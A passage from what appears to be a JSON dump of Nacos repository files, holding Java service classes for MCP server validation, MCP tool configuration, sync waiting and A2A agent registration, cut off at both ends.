mcpServerId MCP server ID\n     */\n    private void invalidateCacheAfterDbOperation(String namespaceId, String mcpName, String mcpServerId) {\n        try {\n            if (StringUtils.isNotEmpty(mcpName)) {\n                mcpServerIndex.removeMcpServerByName(namespaceId, mcpName);\n            }\n            if (StringUtils.isNotEmpty(mcpServerId)) {\n                mcpServerIndex.removeMcpServerById(mcpServerId);\n            }\n            LOGGER.debug(\"Cache invalidated after DB operation: namespaceId={}, mcpName={}, mcpId={}\", namespaceId,\n                    mcpName, mcpServerId);\n        } catch (Exception e) {\n            LOGGER.warn(\"Failed to invalidate cache after DB operation: namespaceId={}, mcpName={}, mcpId={}, error={}\",\n                    namespaceId, mcpName, mcpServerId, e.getMessage());\n        }\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/service/McpServerValidationService.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.service;\n\nimport com.alibaba.nacos.ai.constant.McpServerValidationConstants;\nimport com.alibaba.nacos.api.ai.constant.AiConstants;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerDetailInfo;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerImportValidationResult;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerValidationItem;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.common.utils.CollectionUtils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Service;\n\nimport java.util.ArrayList;\nimport java.util.HashSet;\nimport java.util.List;\nimport java.util.Set;\n\n/**\n * MCP Server Validation Service.\n *\n * @author nacos\n */\n@Service\npublic class McpServerValidationService {\n\n    @Autowired\n    private McpServerOperationService mcpServerOperationService;\n    \n    /**\n     * Validate MCP servers for import.\n     *\n     * @param namespaceId namespace ID\n     * @param servers servers to validate\n     * @return validation result\n     * @throws NacosException if validation fails\n     */\n    public McpServerImportValidationResult validateServers(String namespaceId, List<McpServerDetailInfo> servers) \n            throws NacosException {\n        McpServerImportValidationResult result = new McpServerImportValidationResult();\n        List<McpServerValidationItem> validationItems = new ArrayList<>();\n        List<String> overallErrors = new ArrayList<>();\n        \n        Set<String> serverNames = new HashSet<>();\n        int validCount = 0;\n        int invalidCount = 0;\n        int duplicateCount = 0;\n        \n        try {\n            for (McpServerDetailInfo server : servers) {\n                McpServerValidationItem item = validateSingleServer(namespaceId, server, serverNames);\n                validationItems.add(item);\n                \n                switch (item.getStatus()) {\n                    case McpServerValidationConstants.STATUS_VALID:\n                        validCount++;\n                        break;\n                    case McpServerValidationConstants.STATUS_INVALID:\n                        invalidCount++;\n                        break;\n                    case McpServerValidationConstants.STATUS_DUPLICATE:\n                        duplicateCount++;\n                        break;\n                    default:\n                        // Handle unknown status\n                        break;\n                }\n            }\n            \n            result.setValid(invalidCount == 0);\n            result.setTotalCount(servers.size());\n            result.setValidCount(validCount);\n            result.setInvalidCount(invalidCount);\n            result.setDuplicateCount(duplicateCount);\n            result.setServers(validationItems);\n            result.setErrors(overallErrors);\n            \n        } catch (Exception e) {\n            overallErrors.add(\"Validation failed: \" + e.getMessage());\n            result.setValid(false);\n            result.setErrors(overallErrors);\n        }\n        \n        return result;\n    }\n    \n    /**\n     * Validate single MCP server.\n     *\n     * @param namespaceId namespace ID\n     * @param server server to validate\n     * @param existingNames existing server names in current batch\n     * @return validation item\n     */\n    private McpServerValidationItem validateSingleServer(String namespaceId, McpServerDetailInfo server, \n            Set<String> existingNames) {\n        McpServerValidationItem item = new McpServerValidationItem();\n        List<String> errors = new ArrayList<>();\n        \n        String serverName = server.getName();\n        item.setServerName(serverName);\n        item.setServerId(server.getId());\n        item.setServer(server);\n        \n        // Check required fields\n        if (StringUtils.isBlank(serverName)) {\n            errors.add(\"Server name is required\");\n        }\n        \n        if (StringUtils.isBlank(server.getProtocol())) {\n            errors.add(\"Protocol is required\");\n        } else if (!isValidProtocol(server.getProtocol())) {\n            errors.add(\"Invalid protocol: \" + server.getProtocol());\n        }\n        \n        if (StringUtils.isBlank(server.getDescription())) {\n            errors.add(\"Description is required\");\n        }\n        \n        // Check for duplicates in current batch\n        if (existingNames.contains(serverName + server.getVersionDetail().getVersion())) {\n            errors.add(\"Duplicate server name in import batch: \" + serverName);\n            item.setStatus(McpServerValidationConstants.STATUS_DUPLICATE);\n        } else {\n            existingNames.add(serverName + server.getVersionDetail().getVersion());\n        }\n        \n        try {\n            if (isVersionedServerExist(namespaceId, serverName, server.getVersionDetail().getVersion())) {\n                item.setExists(true);\n                if (!McpServerValidationConstants.STATUS_DUPLICATE.equals(item.getStatus())) {\n                    item.setStatus(McpServerValidationConstants.STATUS_DUPLICATE);\n                    errors.add(\"Server already exists: \" + serverName);\n                }\n            }\n        } catch (Exception e) {\n            errors.add(\"Error checking existing server: \" + e.getMessage());\n        }\n        \n        // Validate protocol-specific configurations\n        validateProtocolSpecificConfig(server, errors);\n        \n        // Set validation status\n        if (errors.isEmpty()) {\n            item.setStatus(McpServerValidationConstants.STATUS_VALID);\n        } else if (!McpServerValidationConstants.STATUS_DUPLICATE.equals(item.getStatus())) {\n            item.setStatus(McpServerValidationConstants.STATUS_INVALID);\n        }\n        \n        item.setErrors(errors);\n        return item;\n    }\n\n    private boolean isVersionedServerExist(String namespaceId, String serverName, String version) throws NacosException {\n        try {\n            McpServerDetailInfo existingServer = mcpServerOperationService.getMcpServerDetail(namespaceId, version, serverName, null);\n            return existingServer != null;\n        } catch (NacosApiException e) {\n            if (e.getDetailErrCode() == ErrorCode.MCP_SERVER_NOT_FOUND.getCode()) {\n                return false;\n            }\n            throw e;\n        }\n    }\n    \n    /**\n     * Check if protocol is valid.\n     *\n     * @param protocol protocol to check\n     * @return true if valid\n     */\n    private boolean isValidProtocol(String protocol) {\n        return AiConstants.Mcp.MCP_PROTOCOL_STDIO.equals(protocol)\n                || AiConstants.Mcp.MCP_PROTOCOL_SSE.equals(protocol)\n                || AiConstants.Mcp.MCP_PROTOCOL_STREAMABLE.equals(protocol)\n                || AiConstants.Mcp.MCP_PROTOCOL_HTTP.equals(protocol)\n                || AiConstants.Mcp.MCP_PROTOCOL_DUBBO.equals(protocol);\n    }\n    \n    /**\n     * Validate protocol-specific configurations.\n     *\n     * @param server server to validate\n     * @param errors error list to append to\n     */\n    private void validateProtocolSpecificConfig(McpServerDetailInfo server, List<String> errors) {\n        String protocol = server.getProtocol();\n        \n        if (AiConstants.Mcp.MCP_PROTOCOL_STDIO.equals(protocol)) {\n            // For stdio protocol, check if command is provided\n            if (server.getLocalServerConfig() == null && CollectionUtils.isEmpty(server.getPackages())) {\n                errors.add(\"Local server configuration or packages are required for stdio protocol\");\n            }\n        } else {\n            // For non-stdio protocols, basic validation\n            if (server.getRemoteServerConfig() == null) {\n                errors.add(\"Remote server configuration is required for \" + protocol + \" protocol\");\n            }\n        }\n        \n        // Validate tools if present\n        if (server.getToolSpec() != null) {\n            if (server.getToolSpec().getTools() == null || server.getToolSpec().getTools().isEmpty()) {\n                errors.add(\"Tool specification should contain at least one tool\");\n            }\n        }\n    }\n}"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/service/McpToolOperationService.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.service;\n\nimport com.alibaba.nacos.ai.constant.Constants;\nimport com.alibaba.nacos.ai.utils.McpConfigUtils;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerBasicInfo;\nimport com.alibaba.nacos.api.ai.model.mcp.McpTool;\nimport com.alibaba.nacos.api.ai.model.mcp.McpToolSpecification;\nimport com.alibaba.nacos.api.config.ConfigType;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.alibaba.nacos.config.server.model.ConfigRequestInfo;\nimport com.alibaba.nacos.config.server.model.form.ConfigFormV3;\nimport com.alibaba.nacos.config.server.service.ConfigOperationService;\nimport com.alibaba.nacos.config.server.service.query.ConfigQueryChainService;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainRequest;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainResponse;\nimport com.fasterxml.jackson.core.type.TypeReference;\nimport org.springframework.stereotype.Service;\n\n/**\n * Nacos AI MCP tool operation service.\n *\n * @author xiweng.yy\n */\n@Service\npublic class McpToolOperationService {\n    \n    private final ConfigQueryChainService configQueryChainService;\n    \n    private final ConfigOperationService configOperationService;\n    \n    public McpToolOperationService(ConfigQueryChainService configQueryChainService,\n            ConfigOperationService configOperationService) {\n        this.configQueryChainService = configQueryChainService;\n        this.configOperationService = configOperationService;\n    }\n    \n    /**\n     * Create or Update mcp server tool. If mcp server tool already exist, will full replace it.\n     *\n     * @param namespaceId       namespace id of mcp server\n     * @param toolSpecification mcp server included tools, see {@link McpTool}, optional\n     * @throws NacosException any exception during handling\n     */\n    public void refreshMcpTool(String namespaceId, McpServerBasicInfo serverBasicInfo, \n                               McpToolSpecification toolSpecification)\n            throws NacosException {\n        ConfigRequestInfo configRequestInfo = new ConfigRequestInfo();\n        ConfigFormV3 toolConfigForm = buildMcpToolConfigForm(namespaceId, serverBasicInfo, toolSpecification);\n        configOperationService.publishConfig(toolConfigForm, configRequestInfo, null);\n    }\n    \n    public McpToolSpecification getMcpTool(String namespaceId, String toolsDescriptionRef) {\n        ConfigQueryChainRequest request = buildQueryMcpToolRequest(namespaceId, toolsDescriptionRef);\n        ConfigQueryChainResponse response = configQueryChainService.handle(request);\n        if (ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_NOT_FOUND == response.getStatus()) {\n            return null;\n        }\n        return transferToMcpServerTool(response);\n    }\n    \n    public void deleteMcpTool(String namespaceId, String mcpServerId, String version) throws NacosException {\n        configOperationService.deleteConfig(McpConfigUtils.formatServerToolSpecDataId(mcpServerId, version),\n                Constants.MCP_SERVER_TOOL_GROUP, namespaceId, null, null, \"nacos\", null);\n    }\n    \n    private ConfigFormV3 buildMcpToolConfigForm(String namespaceId, McpServerBasicInfo mcpServerBasicInfo, \n                                                McpToolSpecification toolSpecification) {\n        ConfigFormV3 configFormV3 = new ConfigFormV3();\n        configFormV3.setGroupName(Constants.MCP_SERVER_TOOL_GROUP);\n        configFormV3.setGroup(Constants.MCP_SERVER_TOOL_GROUP);\n        configFormV3.setNamespaceId(namespaceId);\n\n        String toolSpecDataId = McpConfigUtils.formatServerToolSpecDataId(mcpServerBasicInfo.getId(), \n                mcpServerBasicInfo.getVersionDetail().getVersion());\n        configFormV3.setDataId(toolSpecDataId);\n        \n        configFormV3.setContent(JacksonUtils.toJson(toolSpecification));\n        configFormV3.setType(ConfigType.JSON.getType());\n        configFormV3.setAppName(mcpServerBasicInfo.getName());\n        configFormV3.setSrcUser(\"nacos\");\n        configFormV3.setConfigTags(Constants.MCP_SERVER_CONFIG_MARK);\n        return configFormV3;\n    }\n    \n    private ConfigQueryChainRequest buildQueryMcpToolRequest(String namespaceId, String toolsDescriptionRef) {\n        ConfigQueryChainRequest request = new ConfigQueryChainRequest();\n        request.setDataId(toolsDescriptionRef);\n        request.setGroup(Constants.MCP_SERVER_TOOL_GROUP);\n        request.setTenant(namespaceId);\n        return request;\n    }\n    \n    private McpToolSpecification transferToMcpServerTool(ConfigQueryChainResponse response) {\n        return JacksonUtils.toObj(response.getContent(), new TypeReference<>() {\n        });\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/service/SimpleSyncEffectService.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.service;\n\nimport com.alibaba.nacos.config.server.model.form.ConfigForm;\nimport org.springframework.stereotype.Service;\n\nimport java.util.concurrent.TimeUnit;\n\n/**\n * The simple implementation of {@link SyncEffectService}. Implemented by direct waiting time.\n *\n * <p>\n *     This implementation is a very simple one. The best expected one is listen\n *     {@link com.alibaba.nacos.config.server.model.event.LocalDataChangeEvent} and then do async to sync by\n *     {@link java.util.concurrent.CountDownLatch} or {@link java.util.concurrent.Future}\n * </p>\n *\n * @author xiweng.yy\n */\n@Service\npublic class SimpleSyncEffectService implements SyncEffectService {\n    \n    @Override\n    public void toSync(ConfigForm configForm, long startTimeStamp, long timeout, TimeUnit timeUnit) {\n        try {\n            Thread.sleep(timeout);\n        } catch (InterruptedException ignored) {\n        }\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/service/SyncEffectService.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.service;\n\nimport com.alibaba.nacos.config.server.model.form.ConfigForm;\n\nimport java.util.concurrent.TimeUnit;\n\n/**\n * Nacos Mcp server async effect service.\n *\n * <p>\n *     Nacos Mcp server or Agent will be written to Nacos configuration, and the configuration dump to local is async and need time.\n *     This service is used to adapt and transfer async dump to sync dump.\n * </p>\n *\n * @author xiweng.yy\n */\npublic interface SyncEffectService {\n    \n    /**\n     * Transfer Async mcp server operation to sync with 200 milliseconds timeout.\n     *\n     * @param configForm        mcp server configuration changed form\n     * @param startTimeStamp    start time of operation mcp server.\n     */\n    default void toSync(ConfigForm configForm, long startTimeStamp) {\n        toSync(configForm, startTimeStamp, 200L, TimeUnit.MILLISECONDS);\n    }\n    \n    /**\n     * Transfer Async mcp server operation to sync.\n     *\n     * @param configForm        mcp server configuration changed form\n     * @param startTimeStamp    start time of operation mcp server.\n     * @param timeout           max time wait for operation mcp server.\n     * @param timeUnit          the time unit for timeout\n     */\n    void toSync(ConfigForm configForm, long startTimeStamp, long timeout, TimeUnit timeUnit);\n    \n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/service/a2a/A2aServerOperationService.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.service.a2a;\n\nimport com.alibaba.nacos.ai.constant.Constants;\nimport com.alibaba.nacos.ai.service.SyncEffectService;\nimport com.alibaba.nacos.ai.service.a2a.identity.AgentIdCodecHolder;\nimport com.alibaba.nacos.ai.utils.AgentCardUtil;\nimport com.alibaba.nacos.api.ai.constant.AiConstants;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCard;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCardDetailInfo;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCardVersionInfo;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentInterface;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentVersionDetail;\nimport com.alibaba.nacos.api.config.ConfigType;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.api.naming.pojo.ServiceInfo;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.config.server.exception.ConfigAlreadyExistsException;\nimport com.alibaba.nacos.config.server.model.ConfigInfo;\nimport com.alibaba.nacos.config.server.model.ConfigRequestInfo;\nimport com.alibaba.nacos.config.server.model.form.ConfigForm;\nimport com.alibaba.nacos.config.server.service.ConfigDetailService;\nimport com.alibaba.nacos.config.server.service.ConfigOperationService;\nimport com.alibaba.nacos.config.server.service.query.ConfigQueryChainService;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainRequest;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainResponse;\nimport com.alibaba.nacos.naming.core.v2.index.ServiceStorage;\nimport com.alibaba.nacos.naming.core.v2.pojo.Service;\nimport org.springframework.beans.BeanUtils;\n\nimport java.util.List;\nimport java.util.concurrent.ThreadLocalRandom;\n\nimport static com.alibaba.nacos.ai.constant.Constants.A2A.AGENT_GROUP;\nimport static com.alibaba.nacos.ai.constant.Constants.A2A.AGENT_VERSION_GROUP;\n\n/**\n * A2a server operation service.\n *\n * @author KiteSoar\n */\n@org.springframework.stereotype.Service\npublic class A2aServerOperationService {\n    \n    private final ConfigQueryChainService configQueryChainService;\n    \n    private final ConfigOperationService configOperationService;\n    \n    private final ConfigDetailService configDetailService;\n    \n    private final SyncEffectService syncEffectService;\n    \n    private final ServiceStorage serviceStorage;\n    \n    private final AgentIdCodecHolder agentIdCodecHolder;\n    \n    public A2aServerOperationService(ConfigQueryChainService configQueryChainService,\n            ConfigOperationService configOperationService, ConfigDetailService configDetailService,\n            SyncEffectService syncEffectService, ServiceStorage serviceStorage,\n            AgentIdCodecHolder agentIdCodecHolder) {\n        this.configQueryChainService = configQueryChainService;\n        this.configOperationService = configOperationService;\n        this.configDetailService = configDetailService;\n        this.syncEffectService = syncEffectService;\n        this.serviceStorage = serviceStorage;\n        this.agentIdCodecHolder = agentIdCodecHolder;\n    }\n    \n    /**\n     * Register agent.\n     *\n     * @param agentCard agent card\n     * @throws NacosException nacos exception\n     */\n    public void registerAgent(AgentCard agentCard, String namespaceId, String registrationType) throws NacosException {\n        try {\n            // 1. register agent's info\n            AgentCardVersionInfo agentCardVersionInfo = AgentCardUtil.buildAgentCardVersionInfo(agentCard,\n                    registrationType, true);\n            ConfigForm configForm = transferVersionInfoToConfigForm(agentCardVersionInfo, namespaceId);\n            ConfigRequestInfo versionConfigRequest = new ConfigRequestInfo();\n            versionConfigRequest.setUpdateForExist(Boolean.FALSE);\n            configOperationService.publishConfig(configForm, versionConfigRequest, null);\n            \n            // 2. register agent's version info\n            AgentCardDetailInfo agentCardDetailInfo = AgentCardUtil.buildAgentCardDetailInfo(agentCard,\n                    registrationType);\n            ConfigForm configFormVersion = transferAgentInfoToConfigForm(agentCardDetailInfo, namespaceId);\n            ConfigRequestInfo agentCardConfigRequest = new ConfigRequestInfo();\n            agentCardConfigRequest.setUpdateForExist(Boolean.FALSE);\n            long startOperationTime = System.currentTimeMillis();\n            configOperationService.publishConfig(configFormVersion, agentCardConfigRequest, null);\n            \n            syncEffectService.toSync(configFormVersion, startOperationTime);\n        } catch (ConfigAlreadyExistsException e) {\n            throw new NacosApiException(NacosException.CONFLICT, ErrorCode.RESOURCE_CONFLICT,\n                    String.format(\"AgentCard name %s already exist\", agentCard.getName()));\n        }\n    }\n    \n    /**\n     * Delete agent.\n     *\n     * @param namespaceId   namespaceId of  agent\n     * @param agentName     agent name\n     * @param version       target version of want to delete, if is null or empty, delete all versions\n     * @throws NacosException nacos exception\n     */\n    public void deleteAgent(String namespaceId, String agentName, String version) throws NacosException {\n        String encodedName = agentIdCodecHolder.encode(agentName);\n        \n        ConfigQueryChainRequest request = ConfigQueryChainRequest.buildConfigQueryChainRequest(encodedName, AGENT_GROUP,\n                namespaceId);\n        ConfigQueryChainResponse response = configQueryChainService.handle(request);\n        \n        if (response.getStatus() == ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_NOT_FOUND) {\n            return;\n        }\n        \n        AgentCardVersionInfo agentCardVersionInfo = JacksonUtils.toObj(response.getContent(),\n                AgentCardVersionInfo.class);\n        List<String> allVersions = agentCardVersionInfo.getVersionDetails().stream().map(AgentVersionDetail::getVersion)\n                .toList();\n        \n        // 1. If version is specified, only delete the corresponding version of the agent\n        if (StringUtils.isNotEmpty(version)) {\n            String versionDataId = encodedName + \"-\" + version;\n            configOperationService.deleteConfig(versionDataId, AGENT_VERSION_GROUP, namespaceId, null, null, \"nacos\",\n                    null);\n            \n            List<AgentVersionDetail> versionDetails = agentCardVersionInfo.getVersionDetails();\n            \n            boolean isLatestVersion = version.equals(agentCardVersionInfo.getLatestPublishedVersion());\n            \n            if (versionDetails.size() == 1 && versionDetails.get(0).getVersion().equals(version)) {\n                configOperationService.deleteConfig(encodedName, AGENT_GROUP, namespaceId, null, null, \"nacos\", null);\n            } else {\n                agentCardVersionInfo.getVersionDetails()\n                        .removeIf(versionDetail -> versionDetail.getVersion().equals(version));\n                \n                if (isLatestVersion) {\n                    agentCardVersionInfo.setLatestPublishedVersion(null);\n                    agentCardVersionInfo.setVersion(null);\n                }\n                \n                ConfigForm updateForm = transferVersionInfoToConfigForm(agentCardVersionInfo, namespaceId);\n                ConfigRequestInfo configRequestInfo = new ConfigRequestInfo();\n                configRequestInfo.setUpdateForExist(Boolean.TRUE);\n                configOperationService.publishConfig(updateForm, configRequestInfo, null);\n            }\n        } else {\n            // 2. If no version specified, delete all versions and agent information\n            for (String each : allVersions) {\n                String versionDataId = encodedName + \"-\" + each;\n                configOperationService.deleteConfig(versionDataId, AGENT_VERSION_GROUP, namespaceId, null, null,\n                        \"nacos\", null);\n            }\n            \n            configOperationService.deleteConfig(encodedName, AGENT_GROUP, namespaceId, null, null, \"nacos\", null);\n        }\n    }\n    \n    /**\n     * Update agent card.\n     *\n     * @param agentCard         the new agent card information\n     * @param namespaceId       namespace id\n     * @param registrationType  new registration type\n     * @param setAsLatest       whether set as latest version\n     * @throws NacosException nacos exception\n     */\n    public void updateAgentCard(AgentCard agentCard, String namespaceId, String registrationType, boolean setAsLatest)\n            throws NacosException {\n        final AgentCardVersionInfo existingAgentInfo = queryAgentCardVersionInfo(namespaceId, agentCard.getName());\n        \n        // Check if the version exists, if not exist, add new version into version info\n        boolean versionExisted = existingAgentInfo.getVersionDetails().stream().anyMatch(\n                agentVersionDetail -> StringUtils.equals(agentVersionDetail.getVersion(), agentCard.getVersion()));\n        if (!versionExisted) {\n            existingAgentInfo.getVersionDetails().add(AgentCardUtil.buildAgentVersionDetail(agentCard, setAsLatest));\n        }\n        \n        // If input new registrationType is empty, use existed registrationType.\n        if (StringUtils.isEmpty(registrationType)) {\n            registrationType = existingAgentInfo.getRegistrationType();\n        }\n        AgentCardDetailInfo agentCardDetailInfo = AgentCardUtil.buildAgentCardDetailInfo(agentCard, registrationType);\n        BeanUtils.copyProperties(agentCardDetailInfo, existingAgentInfo, \"versionDetails\", \"latestPublishedVersion\");\n        \n        if (setAsLatest) {\n            existingAgentInfo.setLatestPublishedVersion(agentCard.getVersion());\n            \n            List<AgentVersionDetail> updatedVersionDetails = existingAgentInfo.getVersionDetails().stream()\n                    .peek(detail -> {\n                        if (StringUtils.equals(detail.getVersion(), agentCard.getVersion())) {\n                            // Only update the corresponding version\n                            detail.setLatest(true);\n                            AgentCardUtil.updateUpdateTime(detail);\n                        } else {\n                            detail.setLatest(false);\n                        }\n                    }).toList();\n            existingAgentInfo.setVersionDetails(updatedVersionDetails);\n        }\n        \n        // Update agent version info\n        ConfigForm configForm = transferVersionInfoToConfigForm(existingAgentInfo, namespaceId);\n        ConfigRequestInfo configRequestInfo = new ConfigRequestInfo();\n        configRequestInfo.setUpdateForExist(Boolean.TRUE);\n        configOperationService.publishConfig(configForm, configRequestInfo, null);\n        \n        // Update agent info\n        ConfigForm versionConfigForm = transferAgentInfoToConfigForm(agentCardDetailInfo, namespaceId);\n        ConfigRequestInfo versionConfigRequestInfo = new ConfigRequestInfo();\n        versionConfigRequestInfo.setUpdateForExist(Boolean.TRUE);\n        long startOperationTime = System.currentTimeMillis();\n        configOperationService.publishConfig(versionConfigForm, versionConfigRequestInfo, null);\n        \n        syncEffectService.toSync(versionConfigForm, startOperationTime);\n    }\n    \n    /**\n     * List agents.\n     *\n     * @param namespaceId   namespace id\n     * @param agentName     agent name\n     * @param search        search type, {@link Constants.A2A#SEARCH_BLUR} or {@link Constants.A2A#SEARCH_ACCURATE}\n     * @param pageNo        page number\n     * @param pageSize      page size\n     *\n     * @return agent card version info list\n     */\n    public Page<AgentCardVersionInfo> listAgents(String namespaceId, String agentName, String search, int pageNo,\n            int pageSize) throws NacosException {\n        \n        String dataId;\n        if (StringUtils.isEmpty(agentName) || Constants.A2A.SEARCH_BLUR.equalsIgnoreCase(search)) {\n            search = Constants.A2A.SEARCH_BLUR;\n            dataId = Constants.ALL_PATTERN + agentIdCodecHolder.encodeForSearch(agentName) + Constants.ALL_PATTERN;\n        } else {\n            search = Constants.A2A.SEARCH_ACCURATE;\n            dataId = agentIdCodecHolder.encode(agentName);\n        }\n        \n        Page<ConfigInfo> configInfoPage = configDetailService.findConfigInfoPage(search, pageNo, pageSize, dataId,\n                AGENT_GROUP, namespaceId, null);\n        \n        List<AgentCardVersionInfo> versionInfos = configInfoPage.getPageItems().stream()\n                .map(configInfo -> JacksonUtils.toObj(configInfo.getContent(), AgentCardVersionInfo.class)).toList();\n        \n        Page<AgentCardVersionInfo> result = new Page<>();\n        result.setPageItems(versionInfos);\n        result.setTotalCount(configInfoPage.getTotalCount());\n        result.setPagesAvailable((int) Math.ceil((double) configInfoPage.getTotalCount() / (double) pageSize));\n        result.setPageNumber(pageNo);\n        \n        return result;\n    }\n    \n    /**\n     * List agent versions.\n     * @param namespaceId namespace id of target agent\n     * @param name        name of target agent\n     * @return agent version detail list\n     */\n    public List<AgentVersionDetail> listAgentVersions(String namespaceId, String name) throws NacosApiException {\n        AgentCardVersionInfo agentCardVersionInfo = queryAgentCardVersionInfo(namespaceId, name);\n        return agentCardVersionInfo.getVersionDetails();\n    }\n    \n    /**\n     * Query Agent Card. If not specified version, query the latest version.\n     *\n     * @param namespaceId   namespaceId of agent\n     * @param agentName     agent name\n     * @param version       target version of want to query, if is null or empty, get latest version\n     * @param registrationType registration type\n     * @return agent card detail info\n     * @throws NacosApiException nacos api exception\n     */\n    public AgentCardDetailInfo getAgentCard(String namespaceId, String agentName, String version,\n            String registrationType) throws NacosApiException {\n        AgentCardVersionInfo agentCardVersionInfo = queryAgentCardVersionInfo(namespaceId, agentName);\n        return StringUtils.isEmpty(version) ? queryLatestVersion(agentCardVersionInfo, namespaceId, registrationType)\n                : queryTargetVersion(agentCardVersionInfo, version, namespaceId, registrationType);\n    }\n    \n    private AgentCardDetailInfo queryLatestVersion(AgentCardVersionInfo agentCardVersionInfo, String namespaceId,\n            String registrationType) throws NacosApiException {\n        String latestVersion = agentCardVersionInfo.getVersionDetails().stream().filter(AgentVersionDetail::isLatest)\n                .findFirst().orElseThrow(\n                        () -> new NacosApiException(NacosException.NOT_FOUND, ErrorCode.AGENT_VERSION_NOT_FOUND,\n                                String.format(\"Agent %s latest version not found\", agentCardVersionInfo.getName())))\n                .getVersion();\n        return queryTargetVersion(agentCardVersionInfo, latestVersion, namespaceId, registrationType);\n    }\n    \n    private AgentCardDetailInfo queryTargetVersion(AgentCardVersionInfo agentCardVersionInfo, String version,\n            String namespaceId, String registrationType) throws NacosApiException {\n        String versionDataId = agentIdCodecHolder.encode(agentCardVersionInfo.getName()) + \"-\" + version;\n        ConfigQueryChainRequest request = ConfigQueryChainRequest.buildConfigQueryChainRequest(versionDataId,\n                AGENT_VERSION_GROUP, namespaceId);\n        ConfigQueryChainResponse response = configQueryChainService.handle(request);\n        if (response.getStatus() == ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_NOT_FOUND) {\n            throw new NacosApiException(NacosException.NOT_FOUND, ErrorCode.AGENT_VERSION_NOT_FOUND,\n                    String.format(\"Agent %s version %s not found.\", agentCardVersionInfo.getName(), version));\n        }\n        AgentCardDetailInfo result = JacksonUtils.toObj(response.getContent(), AgentCardDetailInfo.class);\n        if (StringUtils.isBlank(registrationType)) {\n            registrationType = result.getRegistrationType();\n        }\n        if (AiConstants.A2a.A2A_ENDPOINT_TYPE_SERVICE.equalsIgnoreCase(registrationType)) {\n            injectEndpoint(result, namespaceId);\n        }\n        if 